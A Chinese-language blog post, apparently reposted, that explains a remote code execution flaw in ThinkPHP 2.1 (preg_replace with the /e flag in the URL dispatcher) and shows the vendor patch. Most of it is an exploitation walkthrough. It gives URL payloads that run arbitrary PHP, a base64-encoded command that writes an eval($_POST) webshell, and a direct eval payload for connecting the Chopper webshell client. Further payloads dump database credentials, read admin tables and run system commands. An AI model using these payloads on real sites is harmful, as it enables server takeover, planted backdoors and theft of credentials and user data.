Thinkphp2.1爆出重大安全漏洞


thinkphp 2.1的版本
 
我們來分析下漏洞
 
官方發布了一個安全補丁
 
表述是:該URL安全漏洞會造成用戶在客戶端偽造URL,執行非法代碼。
 
官方的補丁:
 
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
 
 
 
125 –$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));
125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=’\2′;’, implode($depr,$paths));
 
 
 
這個代碼是把pathinfo當作restful類型url進行解析的,主要作用是把pathinfo中的數據解析並合並到$_GET數組中。
然而在用正則解析pathinfo的時候,主要是這一句:
 
 
 
$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));
 
 
 
這里明顯使用了preg_replace的/e參數,這是個非常危險的參數,如果用了這個參數,preg_replace第二個參數就會被當做php代碼執行,作者用這種方式在第二個參數中,利用PHP代碼給數組動態賦值。
 
‘$var['\1']=”\2″;’
 
而這里又是雙引號,而雙引號中的php變量語法又是能夠被解析執行的。因此,攻擊者只要對任意一個使用thinkphp框架編寫的應用程序,使用如下方式進行訪問,即可執行任意PHP代碼:
 
index.php/module/action/param1/${@print(THINK_VERSION)}
 
執行效果如下:


 

就是說
 
print( )里面可以執行我們的任意代碼
 
如phpinfo()等其他函數
 
那就行了
 
我們可以直接利用
 
fputs和fopen函數直接寫木馬出來了
 
構造語句
 
fputs(fopen(base64_decode(“bW0ucGhw”),”w”),base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”))
 
base64_decode(“bW0ucGhw”)解碼后是mm.php
 
base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”)解碼后是<?eval($_POST[c]);?>
 
只要執行了 就能在該目錄下生成一個mm.php的一句話木馬文件
 
但是操作的時候出現了問題

 

經分析 是雙引號被轉義了
 
然后我試了其他幾種不用雙引號寫馬的代碼
 
都失敗了  原因是  <>  尖括號等都被轉義了   而用
 
exec()等系統命令執行函數寫馬的話是寫不出的
 
網上的利用方法貌似很少  只有神刀網的那個用echo寫馬的方法
 
但是前提是雙引號沒有被轉義掉才能成功
 
怎么辦呢
 
這個時候不要太拘泥於這里了
 
一個中國人搞安全怎么能忘記中國人寫的軟件菜刀了
 
直接構造代碼
 
 
 
http://www.2cto.com /project/xaa/index.php/module/action/param1/${@print(eval($_POST[c]))}
 
 
 
菜刀里面直接填這個路徑 密碼C  就能連接了

 

根本不用拘泥於寫馬的問題!

 

 

ps:

1.使用THINK_VERSION可以獲取Thinkphp的版本號

如:/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D

2.使用C方法,獲取數據庫配置相關信息:C(DB_NAME)、C(DB_HOST)、C(DB_USER)、C(DB_PWD)

如: /index.php/module/action/param1/$%7B@print(C(db_name))%7D

3.使用D方法或者M方法,查詢數據庫,最典型的使用方式var_dump(D(Admin)->select()),能夠查詢出管理員信息,當然,表名需要猜一下,一般是admin,user等。

如:/index.php/module/action/param1/$%7B@print(var_dump(D(Admin)->select()))%7D

4.利用PHP在“·”(Tab鍵上面的鍵,URL編碼后為%60)之間的內容可以當做命令執行的方式,不管是windows還是Linux下,都可以執行cmd或者是Shell命令。

如:

index.php/module/action/param1/$%7B@print(%60dirls%60)%7D  ---------- 在windows下

index.php/module/action/param1/$%7B@print(%60ls%60)%7D -------------在linux下

可以獲取目錄內容。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM